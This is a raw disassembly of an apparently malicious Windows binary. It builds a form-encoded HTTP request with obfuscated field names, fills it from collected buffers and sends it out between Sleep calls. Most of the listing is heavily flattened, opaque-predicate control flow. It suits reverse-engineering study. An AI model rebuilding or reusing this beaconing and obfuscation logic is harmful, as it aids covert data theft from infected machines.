movaps xmmword [0x1400694b0], xmm6
movaps xmmword [0x1400694a0], xmm6
movaps xmmword [0x140069490], xmm6
movaps xmmword [0x140069480], xmm6
movaps xmmword [0x140069470], xmm6
movaps xmmword [0x140069460], xmm6
movaps xmmword [0x140069450], xmm6
movaps xmmword [0x140069440], xmm6
movaps xmmword [0x140064100], xmm6
movaps xmmword [0x140064110], xmm6
movaps xmmword [0x140064120], xmm6
movaps xmmword [0x140064130], xmm6
movaps xmmword [0x140064140], xmm6
movaps xmmword [0x140064150], xmm6
movaps xmmword [0x140064160], xmm6
movaps xmmword [0x140064170], xmm6
movaps xmmword [0x140064180], xmm6
movaps xmmword [0x140064190], xmm6
movaps xmmword [0x1400641a0], xmm6
movaps xmmword [0x1400641b0], xmm6
movaps xmmword [0x1400641c0], xmm6
movaps xmmword [0x1400641d0], xmm6
movaps xmmword [0x1400641e0], xmm6
movups xmmword [0x1400641ea], xmm6
movaps xmmword [0x140069360], xmm6
movaps xmmword [0x140069350], xmm6
movaps xmmword [0x140069340], xmm6
mov word [0x140069370], 0
movaps xmmword [0x140070c40], xmm6
movaps xmmword [0x140070c30], xmm6
movaps xmmword [0x140070c20], xmm6
mov word [0x140070c50], 0
movaps xmmword [0x1400693e0], xmm6
movaps xmmword [0x1400693d0], xmm6
movaps xmmword [0x1400693c0], xmm6
mov word [0x1400693f0], 0
movaps xmmword [0x140063b60], xmm6
mov dword [0x140063b70], 0
movups xmmword [0x14006922a], xmm6
movaps xmmword [0x140069220], xmm6
movaps xmmword [0x140069210], xmm6
movaps xmmword [0x140069200], xmm6
movaps xmmword [0x1400691f0], xmm6
movaps xmmword [0x1400691e0], xmm6
movaps xmmword [0x1400691d0], xmm6
movaps xmmword [0x1400691c0], xmm6
movaps xmmword [0x1400691b0], xmm6
movaps xmmword [0x1400691a0], xmm6
movaps xmmword [0x140069190], xmm6
movaps xmmword [0x140069180], xmm6
movaps xmmword [0x140069170], xmm6
movaps xmmword [0x140069160], xmm6
movaps xmmword [0x140069150], xmm6
movaps xmmword [0x140069140], xmm6
sub rsp, 0x20
mov r8d, 0x2710
lea rax, [0x140064300]
mov rcx, rax
mov rdi, rax
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rax, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x18]
sub rsp, 0x20
mov r8d, 0x3a98
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x7530
mov rcx, r14
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
movaps xmmword [0x140064080], xmm6
movaps xmmword [0x140064090], xmm6
movaps xmmword [0x1400640a0], xmm6
movaps xmmword [0x1400640b0], xmm6
movaps xmmword [0x1400640c0], xmm6
movaps xmmword [0x1400640d0], xmm6
mov dword [0x1400640e0], 0
sub rsp, 0x20
mov r8d, 0x3e8
lea rcx, [0x140063c20]
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
movabs rax, 0x657079542d746e65
mov qword [0x140063c24], rax
mov word [0x140063c2c], 0x203a
mov byte [0x140063c2e], 0x61
movaps xmm0, xmmword [0x140056900]
movups xmmword [0x140063c32], xmm0
mov word [0x140063c47], 0x656c
mov word [0x140063c2f], 0x7070
mov byte [0x140063c31], 0x6c
movabs rax, 0xa0d6465646f636e
mov qword [0x140063c49], rax
mov dword [0x140063c20], 0x746e6f43
mov dword [0x140063c42], 0x752d6d72
mov byte [0x140063c46], 0x72
mov byte [0x140064060], 0
mov dword [0x140064046], 0x656f6655
mov byte [0x14006404a], 0x78
mov dword [0x140064040], 0x6d646179
mov word [0x140064044], 0x4477
mov dword [0x14006405c], 0x6d665577
movaps xmm0, xmmword [0x140056910]
movups xmmword [0x14006404b], xmm0
mov byte [0x14006405b], 0x74
mov word [0x140064077], 0x5a
mov dword [0x140064073], 0x505a4855
mov word [0x140064070], 0x6a53
mov byte [0x140064072], 0x4b
movaps xmmword [0x140063be0], xmm15
movabs rax, 0x6e0069002e0075
mov qword [0x140063bf0], rax
mov dword [0x140063bf8], 0x6f0066
sub rsp, 0x20
call fcn.140014a10
sub rsp, 0x30
mov qword [rsp + 0x48], rdi
lea r13, [0x1400693c0]
mov qword [rsp + 0x40], r13
lea r12, [0x140069340]
mov qword [rsp + 0x38], r12
lea r13, [0x140069140]
mov qword [rsp + 0x30], r13
lea r15, [0x140063b60]
mov qword [rsp + 0x28], r15
lea rbx, [0x140064100]
mov qword [rsp + 0x20], rbx
mov edx, 0x3a98
mov rcx, rsi
lea r8, str.umnome_ls__pmjodf_ls__idkdfjej_ls__vrjdmej_ls__ndlpeip_ls__cokenme_ls__mkeoldkf_ls
lea rdi, [0x140069440]
mov r9, rdi
call fcn.14001ccf0
add rsp, 0x50
mov rax, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x7d0
mov rcx, rdi
mov rdx, rsi
call fcn.14000af00
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
add rsp, 0x20
movabs rcx, 0x3d656d6f6e6d75
mov qword [rax + r14], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140043460
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
lea r12, [0x140064040]
mov rcx, r12
xor edx, edx
lea r13, [0x140064070]
mov r8, r13
xor r9d, r9d
call fcn.14002dc50
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rax
call fcn.140043270
mov rcx, rsi
call fcn.140042960
mov rcx, rdi
call fcn.140042960
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x28]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x7d0
mov rcx, rbx
mov rdx, rsi
call fcn.14000af00
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
add rsp, 0x20
movabs rcx, 0x646f6a6d70262020
mov qword [rax + r14], rcx
mov dword [rax + r14 + 7], 0x3d6664
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140043460
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r12
xor edx, edx
mov r8, r13
xor r9d, r9d
call fcn.14002dc50
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rax
call fcn.140043270
mov rcx, rsi
call fcn.140042960
mov rcx, rdi
call fcn.140042960
add rsp, 0x20
mov rax, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x30]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x7d0
mov rcx, r15
mov rdx, rsi
call fcn.14000af00
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
add rsp, 0x20
movabs rcx, 0x66646b6469262020
mov qword [rax + r14], rcx
movabs rcx, 0x3d6a656a66646b
mov qword [rax + r14 + 5], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140043460
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r12
xor edx, edx
mov r8, r13
xor r9d, r9d
call fcn.14002dc50
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rax
call fcn.140043270
lea rcx, [0x140064080]
mov rdx, rdi
call fcn.140043270
mov rcx, rsi
call fcn.140042960
mov rcx, rdi
call fcn.140042960
add rsp, 0x20
mov rax, qword [rbp + 0x38]
mov rsi, qword [rbp + 0x38]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x7d0
lea rcx, [0x140069140]
mov rdx, rsi
call fcn.14000af00
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
add rsp, 0x20
movabs rcx, 0x6d646a7276262020
mov qword [rax + r14], rcx
mov dword [rax + r14 + 8], 0x3d6a65
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140043460
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r12
xor edx, edx
mov r8, r13
xor r9d, r9d
call fcn.14002dc50
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rax
call fcn.140043270
mov rcx, rsi
call fcn.140042960
mov rcx, rdi
call fcn.140042960
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x40]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x7d0
lea rcx, [0x140069340]
mov rdx, rsi
call fcn.14000af00
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
add rsp, 0x20
movabs rcx, 0x65706c646e262020
mov qword [rax + r14], rcx
mov dword [rax + r14 + 8], 0x3d7069
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140043460
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r12
xor edx, edx
mov r8, r13
xor r9d, r9d
call fcn.14002dc50
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rax
call fcn.140043270
mov rcx, rsi
call fcn.140042960
mov rcx, rdi
call fcn.140042960
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x7d0
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x7d0
lea rcx, [0x1400693c0]
mov rdx, rsi
call fcn.14000af00
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
add rsp, 0x20
movabs rcx, 0x6e656b6f63262020
mov qword [rax + r14], rcx
mov dword [rax + r14 + 8], 0x3d656d
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140043460
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r12
xor edx, edx
mov r8, r13
xor r9d, r9d
call fcn.14002dc50
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rax
call fcn.140043270
mov rcx, rsi
call fcn.140042960
mov rcx, rdi
call fcn.140042960
add rsp, 0x20
mov rax, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x50]
sub rsp, 0x20
mov r8d, 0x3a98
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x3a98
lea rcx, [0x140064300]
mov rdx, rsi
call fcn.14000af00
add rsp, 0x20
mov edi, eax
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
add rsp, 0x20
movabs rcx, 0x6c6f656b6d262020
mov qword [rax + r14], rcx
movabs rcx, 0x3d666b646c6f65
mov qword [rax + r14 + 5], rcx
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140043460
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov rcx, r12
xor edx, edx
mov r8, r13
xor r9d, r9d
call fcn.14002dc50
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, rsi
call fcn.140007540
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rax
call fcn.140043270
mov rcx, rsi
call fcn.140042960
mov rcx, rdi
call fcn.140042960
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rax, qword [rbp + 0x58]
mov eax, 0xc82396d8
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
cmp eax, 0x236b84cb
je 0x14002c3e4
cmp eax, 0x23d3b62e
je 0x14002c4dc
cmp eax, 0x24ffcccd
jne 0x140028e30
mov ecx, dword [0x140070bf8]
mov r8d, dword [0x140070bfc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8060518
mov ebx, edx
and ebx, 0xd1105a00
or ebx, ecx
xor ebx, 0xd1105a00
and edx, 0x26e9a0e7
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x26e9a0e7
and edx, 0xd9165f18
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3d87ef4
mov edi, edx
and edi, 0xfc27810b
or edi, ecx
mov ecx, edi
xor ecx, 0xfc27810b
mov ebx, edi
xor ebx, 0x8fce00cd
and ebx, ecx
and edx, 0x73e981c6
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0xaa09c417
and edx, 0x55f63be8
or edx, ebx
xor edx, 0xd9e045d0
xor edi, 0x2086cc0
and edi, 0x6e0eedc3
mov ebx, ecx
and ebx, 0x91f1123c
or ebx, edi
xor ebx, 0x6e0eedc2
and ecx, 1
or ecx, ebx
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x5aae951b
and edx, ecx
and ecx, 0xa5516ae4
or ecx, ebx
mov ebx, ecx
xor ebx, 0x21102084
xor ecx, 0x5aae951b
mov edi, edx
not edi
mov esi, ecx
and esi, 0xd6cd4a79
and ebx, 0x2932b586
or ebx, esi
or ecx, edi
and edi, 0xd6cd4a79
and edx, 0x2932b586
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3f63d35c
and ecx, 0xc09c2ca3
or ecx, edx
mov edx, ecx
xor edx, 0x142401
xor ecx, 0x3463510c
and ecx, 0xf4eb59ae
and edx, 0xb14a651
or edx, ecx
xor edx, 0xb14a651
sete r9b
setne dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg cl
mov eax, r9d
and al, cl
xor cl, dl
and dl, bl
or dl, al
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x60673c48
mov ebx, 0xd5533676
cmovne edx, ebx
test al, 1
mov eax, 0x60673c48
cmovne eax, edx
test cl, 1
cmovne eax, edx
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
cmp eax, 0x5e8fedba
je 0x14002c6b9
cmp eax, 0x60673c48
jne 0x140028e30
mov ecx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0xc43647f8
mov edx, esi
and edx, 0x3bc9b806
or edx, ebx
xor edx, 0x3bc9b806
mov edi, esi
xor edi, 0xfffffffe
and edi, esi
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x3c404689
and edi, 0xc3bfb976
or edi, ebx
and esi, 0x3c404689
and ecx, 0xc3bfb976
or ecx, esi
xor ecx, edi
xor edx, ecx
test edx, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl r11b
cmp eax, 9
setg bl
mov esi, r11d
mov r10d, r8d
and r10b, r11b
mov eax, ebx
and al, r9b
xor r11b, r9b
or r9b, bl
or sil, r8b
mov edx, r9d
xor dl, sil
or sil, r9b
xor sil, 1
or sil, dl
or al, r10b
or bl, r8b
xor bl, 1
or bl, r11b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov ecx, esi
xor cl, 1
mov edx, ecx
and dl, sil
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, sil
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, al
mov r8d, ecx
and r8b, al
xor cl, al
xor al, 1
and dl, al
or dl, bl
or cl, r8b
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x835bbeb9
mov eax, 0xd5533676
cmovne ebx, eax
test cl, 1
mov eax, 0x835bbeb9
jmp 0x14002c3cb
cmp eax, 0x835bbeb9
je 0x14002b12e
cmp eax, 0x8adb8a76
jne 0x140028e30
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
mov rcx, r14
lea rdx, [0x140063be0]
mov r8d, eax
call fcn.140021020
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, rax
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x130], rax
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
mov r8d, 0x2710
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
call fcn.14001cd40
mov ecx, 0x7d0
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, [0x14005d0bf]
call fcn.1400433e0
add rsp, 0x20
test eax, eax
sete byte [rbp + 0x13f]
mov ecx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0x3ec7b208
mov ecx, edi
not ecx
or edx, 0x810008c5
and edx, 0xa78698cd
and ebx, 0x18412200
or ebx, edx
and edi, 0xa78698cd
and ecx, 0x40384532
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xc1384df7
and ecx, 0x3ec7b208
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0x52b23864
and ecx, 0xad4dc79b
or ecx, edx
xor ecx, 0xad4dc79a
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0xe6497131
and ebx, ecx
or ecx, 0x19b68ece
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x119d940b
and edx, 0xe6406130
or edx, esi
or ecx, edi
and edi, 0x119d940b
and ebx, 0xee626bf4
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x19b68ece
and ecx, 0xe6497131
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x9be3e04f
and ecx, 0x641c1fb0
or ecx, ebx
xor ecx, 0x641c1fb0
or ecx, edx
cmp ecx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor r8b, al
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, r8b
xor bl, 1
and cl, dl
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor cl, bl
mov edx, ecx
not dl
and dl, bl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0xf4fbba7d
mov edi, 0x8af38d08
cmovne ebx, edi
test cl, 1
mov eax, ebx
cmovne eax, edi
test dl, dl
jmp 0x14002c3d1
cmp eax, 0xbb93278a
je 0x14002c6cf
cmp eax, 0xc5f7c168
jne 0x140028e30
mov edx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xbe70f54f
and edx, ecx
or ecx, 0x418f0ab0
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x69f6e3ab
and ebx, 0x96001444
or ebx, esi
or ecx, edi
and edi, 0x69f6e3ab
and edx, 0x96091c54
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x418f0ab0
and ecx, 0xbe70f54f
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
mov ebx, ecx
xor ebx, 0xb8a56a3f
and ebx, ecx
not ecx
and ecx, 0x10214220
and edx, 0xa884281f
or edx, ecx
mov ecx, edx
xor ecx, 0xa804001c
xor edx, 0x577bd7e0
mov edi, ebx
not edi
mov esi, edx
and esi, 0x59b6a43
and ecx, 0xb824003c
or ecx, esi
or edx, edi
and edi, 0x59b6a43
and ebx, 0xfa6495bc
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x927b27c7
and edx, 0x6d84d838
or edx, ecx
mov ecx, edx
xor ecx, 0x45008003
xor edx, 0x2a4a4d08
and ecx, 0x459480f3
and edx, 0xba6b7f0c
or edx, ecx
xor edx, 0xba6b7f0c
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
xor dl, cl
xor cl, bl
xor bl, cl
and bl, cl
mov eax, ebx
xor al, 1
mov ecx, edx
xor cl, 1
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0x2ded82bc
mov eax, 0xe6138566
cmovne edx, eax
test cl, cl
mov eax, 0x2ded82bc
jmp 0x14002b48d
cmp eax, 0xe50268bc
je 0x14002c7e4
cmp eax, 0xe51573db
jne 0x140028e30
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
lea rdx, str.LLLPZZP
call fcn.1400436a4
add rsp, 0x20
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
call fcn.14000f600
add rsp, 0x20
mov eax, 0x236b84cb
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov eax, 0x555cf70c
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov eax, 0xe0601164
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
cmp byte [rbp + 0x12f], 0
mov eax, 0xe43421f5
mov ecx, 0x193b66e
jmp 0x14002ca48
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, str.cxzzoopp
call fcn.14003c8b0
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x157]
mov edx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
or ecx, 0xc68cac2a
mov edi, ecx
not edi
mov ebx, esi
or ebx, 0x397353d5
mov edx, ebx
not edx
and ecx, 0xd6827b93
and edi, 0x29710044
or edi, ecx
and ebx, 0xd6827b93
and edx, 0xc8428
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xc68cac2b
and edx, 0x397353d4
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xbfbe767d
and edx, 0x40418982
or edx, ecx
xor edx, 0x40418982
mov ecx, edx
and ecx, esi
xor edx, esi
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, cl
or dl, bl
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
and bl, dl
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xe6138566
mov edx, 0x5e8fedba
cmovne ecx, edx
test al, al
mov eax, ecx
cmovne eax, edx
test bl, bl
jmp 0x14002c82d
mov eax, 0x60673c48
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
sub rsp, 0x20
mov rcx, r14
call fcn.140043460
mov rcx, r14
lea rdx, [0x140063be0]
mov r8d, eax
call fcn.140021020
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, rax
call rax
add rsp, 0x20
mov rsi, qword [rbp + 0x58]
sub rsp, 0x20
mov r8d, 0x2710
mov rcx, rsi
xor edx, edx
call fcn.14003c6a0
mov rcx, rsi
call fcn.14001cd40
mov ecx, 0x7d0
call rdi
add rsp, 0x20
mov eax, 0x8adb8a76
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov eax, dword [0x140070bf8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x235a12c3
and edx, ecx
or ecx, 0xdca5ed3c
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2f065d26
and eax, 0x5802c1
or eax, edi
or ecx, ebx
and ebx, 0x2f065d26
and edx, 0xd0f9a2d9
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x7e8c3bb
and ecx, 0xf8173c44
or ecx, eax
mov r8d, ecx
xor r8d, 0xdb4d2e87
mov eax, ecx
xor eax, 0x24b2d178
mov edx, r8d
or edx, 0xafdead7c
mov edi, edx
not edi
xor ecx, 0x8b6c7c04
and ecx, r8d
mov esi, ecx
not esi
mov ebx, edx
and ebx, 0xa0b64c99
and edi, 0x50011202
or edi, ebx
or edx, esi
and esi, 0xa0b64c99
and ecx, 0x5f49b366
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x71a96513
and edx, 0x8e569aec
or edx, ecx
xor edx, 0xde77c86e
and r8d, 0x3c4dcf23
mov ecx, eax
and ecx, 0xc3b230dc
or ecx, r8d
xor ecx, 0x3c4dcf22
and eax, 1
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xa5120d24
and eax, 0x5aedf2db
or eax, ecx
xor eax, 0x5aedf2db
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc1e5f109
and eax, 0x3e1a0ef6
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe5ab2123
and eax, 0x1a54dedc
or eax, ecx
xor eax, 0xdbb12fd5
setne al
cmp dword [0x140070bfc], 9
setg cl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov r8d, eax
xor r8b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r8b
mov r8d, ebx
xor bl, 1
and bl, cl
xor al, cl
xor cl, 1
and r8b, cl
or bl, r8b
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0x7332f966
mov eax, 0xba77310b
cmovne edx, eax
test cl, 1
mov eax, 0x7332f966
cmovne eax, edx
test bl, bl
jmp 0x14002ca11
mov ecx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x2a71359b
and ecx, 0xd58eca64
or ecx, ebx
xor ecx, 0xd58eca64
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r11b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, r11b
and bl, al
and al, r11b
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
and r8b, r11b
or r11b, r9b
and cl, r9b
or cl, r8b
mov edx, r11d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and cl, dl
mov r8d, ecx
and r8b, dl
xor cl, dl
or cl, r8b
xor cl, al
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, cl
test dl, 1
mov eax, 0xd2551416
mov edx, 0xba77310b
cmovne eax, edx
test cl, 1
cmove eax, edx
test bl, 1
mov ecx, 0xd2551416
jmp 0x14002c82d
cmp byte [rbp + 0x13f], 0
mov eax, 0xc5f7c168
mov ecx, 0x332635af
jmp 0x14002ca48
mov edx, dword [0x140070bf8]
